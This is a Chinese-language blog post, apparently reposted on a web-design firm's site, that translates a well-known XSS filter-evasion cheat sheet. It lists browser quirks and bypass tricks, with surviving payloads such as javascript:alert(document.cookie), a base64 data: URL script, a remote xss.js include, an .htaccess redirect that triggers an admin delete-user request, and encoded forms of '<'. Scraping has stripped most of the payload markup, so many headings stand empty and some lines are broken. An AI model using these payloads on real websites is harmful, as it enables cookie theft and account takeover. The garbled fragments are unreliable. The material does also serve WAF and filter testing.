今天就跟大家聊聊有关如何绕过XSS的防护,可能很多人都不太了解,为了让大家更加了解,小编给大家总结了以下内容,希望大家根据这篇文章可以有所收获。
创新互联成立10年来,这条路我们正越走越好,积累了技术与客户资源,形成了良好的口碑。为客户提供成都网站制作、网站建设、外贸网站建设、网站策划、网页设计、域名与空间、网络营销、VI设计、网站改版、漏洞修补等服务。网站是否美观、功能强大、用户体验好、性价比高、打开快等等,这些对于网站建设都非常重要,创新互联通过对建站技术性的掌握、对创意设计的研究为客户提供一站式互联网解决方案,携手广大客户,共同发展进步。
下面列出了一系列XSS攻击,可用于绕过某些XSS防御filter。针对输入进行过滤是不完全是XSS的防御方法,可以使用这些payload来测试网站在防护XSS攻击方面的能力,希望你的WAF产品能拦截下面所有的payload。
XSS攻击原理:
攻击者向有XSS漏洞的网站中置入精心构造恶意的HTML代码,当用户浏览该网站时,这段HTML代码会自动执行,从而达到攻击的目的。
XSS攻击可以分成两种类型:一种是非持久型XSS攻击 一种是持久型XSS攻击。
反射型:请求地址上加入恶心的HTML代码。
dom型:api向网站注入一些恶意的HTML代码
持久性:攻击者把恶意代码提交到后台数据库中,当用户下次打开的时候就会从后台接收这些恶意的代码。
防范:
前端通过转义来进行防范和过滤
后端主要是通过WAF正则+OWASP规则+XSS语义分析+机器学习payload特征进行防卫。
普通的XSS JavaScript注入:
很可能会被过滤,建议先尝试一下(现代浏览器中都不需要引号,因此此处将其省略)
XSS有效负载,该测试将在多个上下文中执行,包括html,脚本字符串,js和url:
javascript:/*-->
使用JavaScript指令的IMG SRC XSS,注: IE7.0在图像上下文中不支持JavaScript指令,但在其他上下文中支持JavaScript指令:
没有引号也没分号情况:
大小写混淆的 XSS攻击payload:
HTML实体,必须使用分号:
同时使用双引号和单引号,则可以使用重音符来封装JavaScript字符串,因为许多跨站点脚本过滤器都不知道重音符:
畸形的a标签,跳过HREF属性:
Chrome浏览器喜欢为替换丢失的引号,Chrome会将其放在正确的位置,并在URL或脚本上修复丢失的引号。
格式错误的IMG标签,封装在引号中的IMG标签内创建我们的XSS矢量,为了纠正草率的编码。这将使正确解析HTML标记变得更加困难:
">
fromCharCode源字符码,不允许任何类型的引号,可以在JavaScript中eval()a fromCharCode来创建所需的XSS向量:
默认SRC标记可获取过去检查SRC域名的filter,这将绕过大多数SRC域过滤器。在事件方法中插入javascript还将适用于任何使用Form,Iframe,Input,Embed等元素的HTML标记类型注入。这还将允许您将标记类型的任何相关事件替换为onblur
,onclick
从而为您提供大量的这里列出的许多注射的变化:
保留默认的SRC标签为空:
Default SRC tag by leaving it out entirely,完全忽略src:
错误提示 onerror alert:
IMG onerror and javascript alert 编码:
Decimal HTML character references,十进制字符引用,在标记内使用javascript:指令的所有XSS示例都无法在Gecko渲染引擎模式下的Firefox或Netscape 8.1+中运行):
十进制html字符引用,without trailing semicolons,同上+没有尾随分号,这在尝试查找“&#XX;”的XSS中通常很有效,因为大多数人都不了解填充-总共最多7个数字字符。这对于使用$ tmp_string =〜s /.*\(\ d +);。* / $ 1 /;等字符串进行解码的人也很有用。这错误地假设需要使用分号来终止html编码的字符串:
十六进制html字符引用,without trailing semicolons,不带尾部分号:
嵌入标签,用于破坏跨站点脚本攻击:
嵌入编码标签,用于分解XSS:
嵌入换行分解XSS:
Only 09 (horizontal tab), 10 (newline) and 13 (carriage return) work. See the ascii chart for more details
嵌入carriage返回分解 XSS:
\x0D是十六进制,也就是13所对就在的ASCII码字符,也就是回车符
null分解js指令,但是空字符%00更有用,它帮助我绕过了某些现实世界的过滤器:
perl -e 'print "";' > out
XSS图像中JavaScript之前的空格和元字符:
错误地假设引号和“javascript:”关键字之间不能有空格,则这非常有用。实际情况是,您可以使用小数点后1-32之间的任何字符
非字母非数字XSS:
Firefox HTML解析器假设非alpha非数字在HTML关键字后无效,认为它是HTML标记后的空白或无效标记。
一些XSS过滤器假定它们要查找的标记被空白分隔开。例如“
Gecko呈现引擎允许在事件处理程序和等号之间使用除字母、数字或封装字符(如引号、尖括号等)以外的任何字符,从而更容易绕过跨站点脚本块。
多余的开放括号:
某些检测引擎使用成对的开闭尖括号,然后对标签进行比较,
双斜线注释了结束的无关括号,以抑制JavaScript错误。
<
没有结束脚本tag:
在Firefox和Netscape 8.1的Gecko渲染引擎模式下,您实际上不需要这个跨站点脚本向量的“>”部分。
Firefox assumes it's safe to close the HTML tag and add closing tags for you。
js tag中的协议解析:
如果在末尾添加标记,Opera中工作,Netscape在IE呈现模式下工作,,
半开HTML/JavaScript xss:
与Firefox不同,IE渲染引擎不向页面添加额外数据,但它允许在图像中使用javascript:指令。
它不需要闭合尖括号,假设下面有任何HTML标记,您将在其中注入此跨站点脚本向量。即使没有关闭“>”标签,下面的标签也会关闭它。
Double open angle brackets双开角括号:
在矢末尾使用开放尖括号。
如果没有它,Firefox将工作,但Netscape不会。
INPUT image:
BODY image:
IMG Dynsrc:
IMG lowsrc:
List-style-image:
处理为项目符号列表嵌入图像的相当深奥的问题,这只适用于IE呈现引擎。不是一个特别有用的跨站点脚本。
VBscript in an image:
Livescript(仅限旧版本的Netscape):
SVG对象标记:
SVG object tag:
ECMAScript 6:
Set.constructor`alert\x28document.domain\x29```
BODY tag:
不需要使用“javascript:”或“)
onResizeEnd() (用户将调整窗口大小;攻击者可以使用以下内容自动初始化: )
onResizeStart() (用户将调整窗口大小;攻击者可以使用以下命令自动初始化: )
onResume() (onresume事件对时间线恢复时变为活动的每个元素(包括body元素)触发)
onReverse() (如果元素的repeatCount大于1,则每次时间线开始向后播放时都会触发此事件)
onRowsEnter() (用户或攻击者需要更改数据源中的行)
onRowExit() (用户或攻击者需要更改数据源中的行)
onRowDelete() (用户或攻击者需要删除数据源中的行)
onRowInserted() (用户或攻击者需要在数据源中插入一行)
onScroll() (用户需要滚动,否则攻击者可以使用scrollBy()函数)
onSeek() (onreverse事件在时间线设置为沿除forward以外的任何方向播放时触发)
onSelect() (用户需要选择一些文本-攻击者可以使用以下命令自动初始化: window.document.execCommand("SelectAll");)
onSelectionChange() (用户需要选择一些文本-攻击者可以使用以下命令自动初始化: window.document.execCommand("SelectAll");)
onSelectStart() (用户需要选择一些文本-攻击者可以使用以下命令自动初始化: window.document.execCommand("SelectAll");)
onStart() (在每个选框循环的开始处激发)
onStop() (用户需要按下停止按钮或离开网页)
onStorage() (存储区域已更改)
onSyncRestored() (用户中断元素的播放时间线定义的媒体的能力)
onSubmit() (需要攻击者或用户提交表单)
onTimeError() (用户或攻击者将时间属性(如dur)设置为无效值)
onTrackChange() (用户或攻击者更改播放列表中的playlist)
onUndo() (用户在撤消事务历史记录中返回)
onUnload() (当用户单击任何链接或按下后退按钮时,攻击者会强制单击)
onURLFlip() (当由HTML+TIME(定时交互式多媒体扩展)媒体标记播放的高级流式格式(ASF)文件处理嵌入在ASF文件中的脚本命令时,会触发此事件)
seekSegmentTime() (这是一个在元素的段时间线上定位指定点并从该点开始播放的方法。该段由一个重复的时间线组成,包括使用AUTOREVERSE属性的反向播放。)
BGSOUND:
& JavaScript includes:
STYLE sheet:
远程样式表Remote style sheet:
使用像远程样式表这样简单的东西,您可以包括XSS,因为可以使用嵌入式表达式重新定义样式参数。)
这仅在IE和Netscape 8.1+的IE渲染引擎模式下有效。
注意:对于所有这些远程样式表示例,它们都使用body标记,因此除非页面上有向量本身以外的其他内容,否则无法工作。
因此,如果页面是空白页面,则需要向该页面添加一个字母使其工作
远程样式表Remote style sheet2:
工作原理与上述相同,但使用标记,则可以将其删除。
如果在跨站点脚本攻击中不能有等号或斜线(在现实世界中至少出现过一次),则这非常有用.
远程样式表Remote style sheet3:
这只适用于Opera8.0(不再适用于9.x),但相当棘手。根据RFC2616设置,链接头不是HTTP1.1规范的一部分,但是一些浏览器仍然允许它(比如Firefox和Opera)。
这里的诀窍是,我设置了一个头(基本上与HTTP头中的Link:
而带有跨站点脚本向量的远程样式表正在运行JavaScript,这在FireFox中是不受支持的。
远程样式表Remote style sheet4:
这只适用于Gecko渲染引擎,并通过将XUL文件绑定到父页面来工作。我认为讽刺的是,Netscape认为Gecko更安全,因此对绝大多数网站来说都很脆弱。
带有用于XSS的分解JavaScript的STYLE标记STYLE tags with broken up JavaScript for XSS:
此XSS有时会将IE发送到无限循环的警报中。
STYLE attribute using a comment to break up expression使用注释拆分表达式的STYLE属性:
带表达式的IMG样式:
这实际上是上述XSS向量的混合,但它确实显示了分离样式标记的难度,就像上面所说的,这可以将IE发送到循环中。
TABLE:
DIV: DIV background-image DIV background-image with unicoded XSS exploit: 这已经被稍微修改,以混淆url参数。 DIV background-image plus extra characters额外字符: 在IE和Netscape 8.1中的安全站点模式下,在开括号之后、JavaScript指令之前允许的任何错误字符。这些是十进制的,但是当然可以包括十六进制和添加填充。 可以使用以下任何字符:1-32、34、39、160、8192-8.13、12288、65279。 DIV expression: 这种方法的一个变体对现实世界中使用冒号和“表达式”之间的换行符的跨站点脚本过滤器是有效的. Downlevel-Hidden block: 仅适用于IE5.0及更高版本,Netscape 8.1适用于IE渲染引擎模式)。有些网站认为评论块中的任何内容都是安全的,因此不需要删除,这就允许我们使用跨站点脚本。 或者系统可以在某些东西周围添加注释标记,试图使其无害化。如我们所见,这可能不起作用. BASE tag: 在IE和Netscape 8.1中以安全模式工作。您需要//来注释掉下一个字符,这样就不会出现JavaScript错误,XSS标记将呈现。 此外,这依赖于网站使用动态放置的图像,如“images/image.jpg”,而不是完整路径。 如果路径包含一个前导正斜杠,如“/images/image.jpg”,则可以从该向量中删除一个斜杠(只要有两个斜杠开始注释,则此操作有效) OBJECT tag: 如果它们允许对象,您还可以注入病毒有效负载以感染用户等,与APPLET标记相同)。链接文件实际上是一个HTML文件,可以包含您的XSS. 使用嵌入标记可以嵌入包含xss的Flash电影: 单击此处进行演示。如果添加allowScriptAccess=“never”和allownetworking=“internal”属性,则可以降低此风险. EMBED SRC="http://ha.ckers.Using an EMBED tag you can embed a Flash movie that contains XSS. Click here for a demo. If you add the attributes allowScriptAccess="never" and allownetworking="internal" it can mitigate this risk (thank you to Jonathan Vanasco for the info).: org/xss.swf" AllowScriptAccess="always"> You can EMBED SVG which can contain your XSS vector: 这个例子只适用于Firefox,但它比Firefox中的上述向量要好,因为它不需要用户打开或安装Flash。 在flash中使用ActionScript会混淆XSS向量: a="get"; b="URL(\""; c="javascript:"; d="alert('XSS');\")"; eval(a+b+c+d); 带有CDATA混淆的XML数据: 此XSS攻击仅在IE渲染引擎模式下的IE和Netscape 8.1中有效. 使用XML数据岛生成的嵌入JavaScript的本地托管XML: 这与上面的相同,但引用的是包含跨站点脚本向量的本地托管(必须位于同一服务器上)XML文件。 HTML+TIME in XML: 这只适用于IE呈现引擎模式下的Internet Explorer和Netscape 8.1,请记住,您需要介于HTML和正文标记之间才能工作. 假设您只能容纳几个字符,并且它会过滤“.js”: 您可以将JavaScript文件重命名为图像作为XSS向量. SSI (Server Side Includes): 这需要在服务器上安装SSI才能使用此XSS向量。我可能不需要提及这一点,但如果您可以在服务器上运行命令,无疑会出现更严重的问题. PHP: 需要在服务器上安装PHP才能使用此XSS向量。同样,如果你能像这样远程运行任何脚本,可能会有更可怕的问题. echo(' echo('IPT>alert("XSS")'); ?> IMG Embedded commands: 当插入此内容的网页(如网页板)位于密码保护之后,并且密码保护与同一域上的其他命令一起工作时,此操作有效。 这可用于删除用户、添加用户(如果访问该页的用户是管理员)、将凭据发送到其他位置等。。。。这是使用较少但更有用的XSS向量之一. IMG Embedded commands part II: 这更可怕,因为除了它不在您自己的域中之外,没有任何标识使它看起来可疑。 向量使用302或304(其他也可以)将图像重定向回命令。 因此,一个普通的实际上可能是一个攻击向量,作为查看图像链接的用户运行命令。 下面是.htaccess(在Apache下)行来完成向量. Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser Cookie 篡改: 不可否认,这是相当模糊的,但我看到了几个例子,其中 还有其他一些站点的例子,其中存储在cookie中的用户名不是从数据库中获取的,而是只显示给访问页面的用户。 结合这两个场景,您可以修改受害者的cookie,该cookie将以JavaScript的形式显示给他们 (您还可以使用它来注销或更改他们的用户状态,让他们以您的身份登录,等等)。 UTF-7 encoding: 如果XSS所在的页面没有提供页面字符集头,或者任何设置为UTF-7编码的浏览器都可以使用以下内容。 单击此处获取示例(如果用户的浏览器设置为“自动检测”,并且在Internet Explorer和IE呈现引擎模式下的Netscape 8.1中没有覆盖页面上的内容类型,则不需要charset语句)。 这在任何现代浏览器中都无法工作,除非更改编码类型,这就是为什么将其标记为完全不受支持的原因。Watchfire在Google的自定义404脚本中发现了这个漏洞 使用HTML引号封装的XSS: 这是IE测试的,你的里程数可能会有所不同。对于允许“ 用于在允许“ 还有另一个xs要避开同一个过滤器,“/ 最后一次XSS攻击是为了躲避,“/ 下面是一个XSS示例,它打赌regex不会捕获匹配的一对引号,而是会找到任何引号来不正确地终止参数字符串. 这个XSS仍然让我担心,因为如果不阻止所有活动内容,几乎不可能停止它. PT SRC="httx://xss.rocks/xss.js"> URL字符串规避类: 假设“http://www.google.com/”在语法上是不允许的. IP versus hostname: URL encoding Dword encoding: 注意:还有其他的Dword编码变体-请参阅下面的IP混淆计算器以了解更多详细信息. Hex encoding十六进制: 允许的每个数字的总大小大约为240个字符,如您在第二个数字上看到的,并且由于十六进制数字介于0和F之间,因此不需要在第三个十六进制引号上的前导零). Octal encoding八进制: Again padding is allowed, although you must keep it above 4 total characters per class - as in class A, class B, etc...: Base64 encoding: Mixed encoding: 让我们混合和匹配基本编码,并加入一些制表符和换行符-为什么浏览器允许这样做,我永远不会知道)。制表符和换行符只有在用引号封装时才起作用。 协议解析旁路: (//转换为http:/,这将保存更多的字节)。当空间也是一个问题时(少两个字符会有很长的路要走), 这真的很方便,而且可以轻松地绕过类似regex的“(ht | f)tp(s)?“//”。 您也可以将“/”改为“\\”。但是,您确实需要保留斜杠,否则这将被解释为相对路径URL。 Google "feeling lucky" part 1.: Firefox使用Google的“感觉幸运”功能将用户重定向到你输入的任何关键词。 因此,如果你的可利用页面是一些随机关键字的顶部(如你在这里看到的),你可以对任何Firefox用户使用该功能。这使用了Firefox的“keyword:”协议。 例如,您可以使用如下“keyword:XSS+RSnake”连接多个关键字。从2.0开始,这不再适用于Firefox。 Google "feeling lucky" part 2: 这使用了一个看起来只适用于Firefox的非常小的技巧,因为如果它是“感觉幸运”功能的实现。 与下一个不同,这在Opera中不起作用,因为Opera认为这是旧的HTTP基本身份验证仿冒攻击,而不是。这只是一个格式错误的URL。 如果你点击对话框上的OK,它将工作,但由于错误的对话框,我是说Opera不支持此功能,并且从2.0开始Firefox不再支持此功能。 Google "feeling lucky" part 3: 这使用了一个格式错误的URL,似乎只在Firefox和Opera中有效,因为如果它们实现了“感觉幸运”功能。 像上面所有的这些一样,它要求你在Google中的关键字是1(在本例中是“Google”)。 Removing cnames: 当与上述URL结合使用时,删除“www.”将为正确设置此设置的服务器节省额外的4个字节,总共节省9个字节。 绝对DNS的额外点: JavaScript link location: 内容替换为攻击向量: 假设“http://www.google.com/”以编程方式替换为空)。 实际上,我使用了一个类似的攻击向量来攻击几个独立的真实世界XSS过滤器, 方法是使用转换过滤器本身(这里是一个示例)来帮助创建攻击向量 (即:“java ;script:”被转换为“java script:”,它在IE、Netscape 8.1+中以安全站点模式和Opera呈现)。 字符转义序列: HTML和JavaScript中字符“<”的所有可能组合。其中大多数不会在框外渲染,但其中许多可以在上述特定情况下渲染。 < %3C &lt &lt; &LT &LT; < < < < < < &#60; &#060; &#0060; &#00060; &#000060; &#0000060; < < < < < < &#x3c; &#x03c; &#x003c; &#x0003c; &#x00003c; &#x000003c; < < < < < < &#X3c; &#X03c; &#X003c; &#X0003c; &#X00003c; &#X000003c; < < < < < < &#x3C; &#x03C; &#x003C; &#x0003C; &#x00003C; &#x000003C; < < < < < < &#X3C; &#X03C; &#X003C; &#X0003C; &#X00003C; &#X000003C; \x3c \x3C \u003c \u003C 绕过WAF的方法-跨站点脚本: General issues Stored XSS: 如果攻击者设法推动XSS通过过滤器,WAF将无法阻止攻击的传导。在Javascript中反映XSS. Example: Exploitation: /?xss=500); alert(document.cookie);// DOM-based XSS: Example: Exploitation: /?xss=document.cookie XSS via request Redirection: 通过请求重定向的XSS。 易受攻击的代码. ... header('Location: '.$_GET['param']); ... As well as: ... header('Refresh: 0; URL='.$_GET['param']); ... This request will not pass through the WAF: /?param=javascript:alert(document.cookie) This request will pass through the WAF and an XSS attack will be conducted in certain browsers. /?param=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4= WAF ByPass Strings for XSS: ">”>’> "> "> On Mouse Over |